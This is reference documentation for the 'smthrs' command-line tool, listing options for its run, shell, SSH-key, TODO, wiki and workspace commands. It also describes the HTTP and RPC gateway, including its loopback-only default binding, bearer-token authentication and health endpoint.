| `--repo` | string |  | no | Repository (OWNER/REPO) |
| `--root` | string |  | no | Project directory; defaults to the nearest Smithers project |
| `--remote` | string |  | no | Remote control plane URL; defaults to SMITHERS_REMOTE |
| `--mcp-config` | string |  | no | Path to the configured MCP servers |
| `--quiet` | boolean | `false` | no | Suppress progress messages |
| `--flow` | string |  | no |  |
| `--status` | one of `accepted`, `running`, `parked`, `waiting-approval`, `cancelled`, `completed`, `failed` |  | no |  |
| `--since` | string |  | no | Only runs created at or after this time (epoch ms or ISO 8601) |
| `--until` | string |  | no | Only runs created before this time (epoch ms or ISO 8601) |
| `--sort` | one of `newest`, `oldest` |  | no | Order by creation time |
| `--parent` | string |  | no | Only runs branched from this run |
| `--trigger` | string |  | no | Only runs this trigger started |
| `--limit` | integer, minimum 1, maximum 500 |  | no | Runs per page (default 100) |
| `--cursor` | string |  | no | Continue from the nextCursor a previous page printed |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |
| `--cloud` | boolean | `false` | no | Use repository flows and runs on the backend |

### `runs resume`

Resume a parked durable run

```text
smthrs runs resume <run> [options]
```

| Argument | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `run` | string, min length 1 |  | yes | Durable run ID |

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--root` | string |  | no | Project directory; defaults to the nearest Smithers project |
| `--remote` | string |  | no | Remote control plane URL; defaults to SMITHERS_REMOTE |
| `--mcp-config` | string |  | no | Path to the configured MCP servers |
| `--quiet` | boolean | `false` | no | Suppress progress messages |
| `--allow-code-drift` | boolean | `false` | no | Resume even though the run's flow changed since it started |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

### `runs show`

Open a run's card

```text
smthrs runs show <run> [options]
```

| Argument | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `run` | string, min length 1 |  | yes | Durable run ID |

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--repo` | string |  | no | Repository (OWNER/REPO) |
| `--root` | string |  | no | Project directory; defaults to the nearest Smithers project |
| `--remote` | string |  | no | Remote control plane URL; defaults to SMITHERS_REMOTE |
| `--mcp-config` | string |  | no | Path to the configured MCP servers |
| `--quiet` | boolean | `false` | no | Suppress progress messages |
| `--timing` | boolean | `false` | no | Report where the run's time and tokens went |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |
| `--cloud` | boolean | `false` | no | Use repository flows and runs on the backend |

## `search`

Search code, wiki and runs

```text
smthrs search [options]
```

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--query` | string |  | no |  |

## `shell`

Open an interactive terminal in a workspace via the WebSocket terminal endpoint

```text
smthrs shell [id] [options]
```

| Argument | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `id` | string |  | no | Workspace ID (auto-detected if omitted) |

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--cols` | number | `0` | no | Initial terminal columns (0 = detect) |
| `--repo`, `-R` | string |  | no | Repository (OWNER/REPO) |
| `--rows` | number | `0` | no | Initial terminal rows (0 = detect) |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

## `ssh`

Copy the SSH line for a branch

```text
smthrs ssh <branch> [options]
```

| Argument | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `branch` | string |  | yes |  |

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

## `ssh-key`

Manage your SSH keys

```text
smthrs ssh-key <command>
```

### `ssh-key add`

Add an SSH key

```text
smthrs ssh-key add [options]
```

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--title` | string |  | yes | Key title |
| `--key` | string |  | yes | Public key content |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

### `ssh-key delete`

Delete an SSH key

```text
smthrs ssh-key delete <id> [options]
```

| Argument | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `id` | string |  | yes | Key ID |

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

### `ssh-key list`

List SSH keys

```text
smthrs ssh-key list [options]
```

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

## `stack`

Show the stack and background runs

```text
smthrs stack [options] | <command>
```

### `stack move`

Reorder an item

```text
smthrs stack move <n> <direction> [options]
```

| Argument | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `n` | string, pattern `^T[1-9]\d*$` |  | yes |  |
| `direction` | one of `up`, `down` |  | yes |  |

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

## `todo`

Answer the install's TODOs

```text
smthrs todo <command>
```

### `todo amend`

Change an unmerged TODO's prompt; waits for the person's confirmation

```text
smthrs todo amend <n> <text> [options]
```

| Argument | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `n` | string, pattern `^T[1-9]\d*$` |  | yes |  |
| `text` | string, min length 1 |  | yes |  |

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--acceptance` | array of string |  | no |  |
| `--card-id` | string |  | no |  |
| `--idempotency-key` | string, min length 1 |  | no |  |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

### `todo answer`

Answer the agent's question

```text
smthrs todo answer <todo> <answer> [options]
```

| Argument | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `todo` | string, pattern `^T[1-9]\d*$` |  | yes | TODO number (T3) |
| `answer` | string |  | yes | Your answer |

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--wait` | string |  | no | The question's id, when the TODO asks more than one |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

### `todo drop`

Abandon an unmerged TODO; waits for the person's confirmation

```text
smthrs todo drop <n> [options]
```

| Argument | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `n` | string, pattern `^T[1-9]\d*$` |  | yes |  |

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

### `todo from-issue`

Draft a TODO from an issue; waits for the person's confirmation

```text
smthrs todo from-issue <number> [options]
```

| Argument | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `number` | number or one of `Infinity`, `-Infinity`, `NaN` |  | yes |  |

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--repo` | string |  | no |  |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

### `todo new`

Write and place a TODO; waits for the person's confirmation

```text
smthrs todo new [options]
```

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--text` | string |  | no |  |
| `--title` | string, min length 1 |  | no |  |
| `--acceptance` | array of string |  | no |  |
| `--before` | string, pattern `^T[1-9]\d*$` |  | no |  |
| `--card-id` | string |  | no |  |
| `--idempotency-key` | string, min length 1 |  | no |  |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

### `todo resume`

Resume a paused TODO

```text
smthrs todo resume <n> [options]
```

| Argument | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `n` | string, pattern `^T[1-9]\d*$` |  | yes |  |

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

### `todo retry`

Retry a failed TODO

```text
smthrs todo retry <n> [options]
```

| Argument | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `n` | string, pattern `^T[1-9]\d*$` |  | yes |  |

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--text` | string |  | no |  |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

### `todo show`

Open a TODO

```text
smthrs todo show <n> [options]
```

| Argument | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `n` | string, pattern `^T[1-9]\d*$` |  | yes |  |

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

### `todo steer`

Send the agent a correction

```text
smthrs todo steer <n> <text> [options]
```

| Argument | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `n` | string, pattern `^T[1-9]\d*$` |  | yes |  |
| `text` | string, min length 1 |  | yes |  |

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--idempotency-key` | string, min length 1 |  | no |  |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

### `todo stop`

Pause a working TODO

```text
smthrs todo stop <n> [options]
```

| Argument | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `n` | string, pattern `^T[1-9]\d*$` |  | yes |  |

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

## `wiki`

Read and edit wiki pages

```text
smthrs wiki <command>
```

### `wiki page`

Open or create a page

```text
smthrs wiki page <name> [options]
```

| Argument | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `name` | string, min length 1 |  | yes |  |

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--owner` | string, min length 1 |  | yes |  |
| `--repo` | string, min length 1 |  | yes |  |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

### `wiki save`

Save this answer as a page

```text
smthrs wiki save <name> [options]
```

| Argument | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `name` | string, min length 1 |  | yes |  |

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--text` | string |  | no |  |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

### `wiki show`

Open the wiki

```text
smthrs wiki show [options]
```

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--owner` | string, min length 1 |  | yes |  |
| `--repo` | string, min length 1 |  | yes |  |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

## `workspace`

Create, open and run commands in workspaces

```text
smthrs workspace <command>
```

### `workspace ssh`

SSH into a workspace (creates one if none exists for the repo)

```text
smthrs workspace ssh [id] [options]
```

| Argument | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `id` | string |  | no | Workspace ID (auto-detected if omitted) |

| Option | Type | Default | Required | Description |
| --- | --- | --- | --- | --- |
| `--repo`, `-R` | string |  | no | Repository (OWNER/REPO) |
| `--verbose` | boolean | `false` | no | Show redacted diagnostic details |

---

# HTTP and RPC endpoints
https://smithers.sh/docs/reference/http-api/

`smthrs serve` mounts the workspace gateway: the control plane, the served projections, and the journal read path, plus an unauthenticated health probe.

## Mounts

Every route `GatewayServer.layer` mounts, in the order the startup banner prints them.

| Path | Protocol | Purpose | Auth |
| --- | --- | --- | --- |
| `/rpc` | HTTP `POST` | Control RPC (`ControlRpcs`) | Bearer in band through `ControlAuth` when a credential is configured |
| `/rpc/ws` | WebSocket | Control RPC, including a kept-alive `Watch` | Bearer at the edge when a credential is configured |
| `/projections` | HTTP `POST` | Projection snapshots (`GatewayRpcs`) | Bearer at the edge when a credential is configured |
| `/projections/ws` | WebSocket | Projection subscriptions | Bearer at the edge when a credential is configured |
| `/sync` | HTTP `POST` | Journal sync (`SyncRpcs`) | Bearer at the edge when a credential is configured |
| `/sync/ws` | WebSocket | Journal sync stream | Bearer at the edge when a credential is configured |
| `/health` | HTTP `GET` | Workspace identity | None, by design |

On the loopback default no bearer credential is configured. Every request must
still carry a loopback `Host`, and a supplied browser `Origin` must use HTTP(S)
on `localhost`, `127.0.0.1`, or `[::1]`; Origin-less CLI requests remain
accepted. The banner prints
`auth  no bearer (loopback Host; loopback browser Origin)` in that case and
`auth  bearer token` otherwise.

## Authentication

The bind rule is strict and fails closed.

- The default bind is `127.0.0.1:3000`. A loopback host (`127.0.0.1`, `::1`, or `localhost`) needs no opt-in and no credential. The ingress guard rejects foreign Host values and browser origins before HTTP or WebSocket RPC handling.
- A non-loopback bind requires an explicit `--listen`. Without it the verb refuses: `Refusing to bind <host>: pass --listen to serve on a non-loopback address.`
- A non-loopback bind also requires a bearer credential, set as `SMITHERS_TOKEN`. Without one the verb refuses: `Refusing to bind <host> without a bearer token: set SMITHERS_TOKEN.`
- The server speaks plain HTTP only. For network access, terminate TLS at a trusted reverse proxy or use an encrypted tunnel so the bearer token is not sent in cleartext.

One shared bearer authenticates every mount and binds one principal. There are no users, no roles, no per-run ownership, and no scopes.

Two mounts are deliberate exceptions to edge authentication. `POST /rpc` authenticates in band through the `ControlRpcs.ControlAuth` middleware, whose refusal is the typed control error `Unauthorized`, not an edge status; the `/rpc/ws` upgrade stays edge-authenticated because a refused handshake has no RPC channel to answer on. `GET /health` is unauthenticated so a supervisor can ask which workspace a gateway belongs to before deciding to keep or replace it. The local request guard answers `invalid_host` (421) or `invalid_origin` (403) before those exceptions. On the edge-authenticated paths the remaining refusal vocabulary is `unauthorized` (401) without the credential, `malformed_request` (400) for a body carrying no RPC request message, and `request_too_large` (413) for a body over the limit (default 1 MiB).

## Worker relay authentication

The mounts above belong to `smthrs serve`. The web Worker has removed its raw
gateway proxy: `/rpc`, `/projections`, `/sync`, `/health`, and their subpaths
return HTTP 410 with code `gateway_proxy_removed`, including WebSocket upgrades.
A `GET` or `HEAD` of a former documentation address under `/rpc/` (a page the
old site published) redirects to this page instead; an RPC-shaped request there
is still the 410. Cross-origin requests may be refused earlier by the
same-origin guard.
`GATEWAY_UPSTREAM_URL` and `GATEWAY_AUTH_TOKEN` are ignored and cannot restore
the proxy. The Worker's `/health` is retired too.

Product clients use `/api/workflow/provision` and `/api/workflow/rpc` with a
validated session. Every body names the repository and a box (`workspaceId`); a call without a box is refused. These routes resolve that
box's coding host by login, repository and box and enforce a procedure
allowlist; the host's credentials never leave the backend. Native RPC or
WebSocket clients must connect to a separately authenticated gateway.

## The RPC surface

Three RPC groups share the gateway. The sources pin the procedure names, the error vocabularies, and the subscription frame tags; row-level payload shapes are not pinned here and are decoded by selector through `GatewaySchema.rowSchemaFor`.

`ControlRpcs` on `/rpc` is ten procedures:

| Area | Procedures | Answers |
| --- | --- | --- |
| Runs | `Plan`, `Run`, `Resume`, `Cancel`, plus the `List` and `Watch` reads | A `Receipt` per mutation, a `PlanCard` from `Plan`, a stream of `ControlEvent` from `Watch` |
| Approvals | `Approve`, `Deny` | A `Receipt` |
| Steering | `Steer` (a durable message to the run), `Signal` (a durable delivery to a named wait) | A `Receipt` |

There is no `Pause` procedure. `ControlRpcs` declares no memory procedure either; the [`smthrs memory`](/docs/reference/cli/memory/) verb is documented separately.

`GatewayRpcs` on `/projections` serves seven read models folded from the control event stream: `workspace-runs`, `run-summary`, `run-events`, `transcript`, `run-tree`, `approvals`, and `node-output`. Over WebSocket, `Projection.Subscribe` streams tagged frames (`SnapshotStartFrame`, `RowFrame`, `SnapshotEndFrame`, `DeltaFrame`, `HeartbeatFrame`) so a client can tell a snapshot from a change. A projection never claims a run and never writes. The group's one mutation, `Approval.Submit`, is the transport form of Control's approve, deny, and answer commands for an approval card; it adds no failure of its own.

`SyncRpcs` on `/sync` is read-only journal replication: `Sync.Snapshot` returns a public projection through a sequence, `Sync.Read` pages entries for a scope and cursor set, and `Sync.Subscribe` streams `Entries` frames under a credit bound. `BranchRpcs`, the client-to-server submission group, has no production mount, so the gateway serves `SyncRpcs` alone.

## Health

`GET /health` answers the gateway's identity as JSON:

| Field | Value |
| --- | --- |
| `workspaceHash` | The first 16 hex characters of the SHA-256 of the resolved project root |
| `gatewayId` | `cli-<pid>` of the serving process |
| `protocolVersion` | `"1"` |
| `version` | The installed `@smthrs/cli` package version |

The response carries identity only: never a token, a run, or a path. The workspace path itself is not published, because it names directories on the operator's machine.
